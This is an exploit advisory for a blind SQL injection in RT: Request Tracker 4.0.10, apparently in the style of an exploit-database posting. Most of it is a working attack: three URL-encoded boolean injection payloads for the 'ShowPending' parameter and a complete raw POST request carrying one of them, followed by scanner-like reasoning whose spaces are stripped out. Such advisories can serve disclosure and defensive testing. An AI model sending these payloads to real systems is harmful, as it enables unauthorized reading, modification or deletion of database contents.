# Exploit Title: - SQL-Injection - RT: Request Tracker System # Date: 10/05/2013 # Exploit Author: cheki # Vendor Homepage: http://bestpractical.com/rt/ # Version: RT 4.0.10 # Tested on: Kali Linux ############################################ URL: http://10.10.10.70/Approvals/ Entity: ShowPending(Parameter) Risk: Itispossibletoview,modifyordeletedatabaseentriesandtables Causes: Sanitationofhazardouscharacterswasnotperformedcorrectlyonuserinput Fix: Reviewpossiblesolutionsforhazardouscharacterinjection #Description: Blind SQL Injection: append Boolean True/False string expressions, using apostrophes and commenting out the rest of the query. #The following changes were applied the original request 1) Set parameter 'ShowPending's value to '1%27+and+%27f%27%3D%27f%27%29+--+' 2) Set parameter 'ShowPending's value to '1%27+and+%27b%27%3D%27f%27%29+--' 3) Set parameter 'ShowPending's value to '1%27+or+%27b%27%3D%27f%27%29+--' POST /Approvals/ HTTP/1.0 Content-Type: application/x-www-form-urlencoded Cookie: RT_SID_example.com.80=7c120854a0726239b379557f024cc1cb Accept-Language: en-US Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://10.10.10.70/Approvals/ Host: 10.10.10.70 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Content-Length: 120 ShowPending=1%27+and+%27f%27%3D%27f%27%29+--+&ShowResolved=1&ShowRejected=1&ShowDependent=1&CreatedBefore=&CreatedAfter= ############################################### Reasoning: Thetestresultseemstoindicateavulnerabilitybecauseitshowsthatvalues canbeappendedtoparametervalues, indicatingthattheywereembeddedinanSQLquery.HEX(0D)HEX(0A)In thistest,three(orsometimesfour)requestsare sent.Thelastislogicallyequaltotheoriginal,andthe nexttolastisdifferent.Anyothersareforcontrolpurposes.A comparisonofthelasttworesponseswith thefirst(thelastissimilartoit,andthenexttolastisdifferent)indicatesthat theapplicationisvulnerable. Home Page: securitylabnews.blogspot.com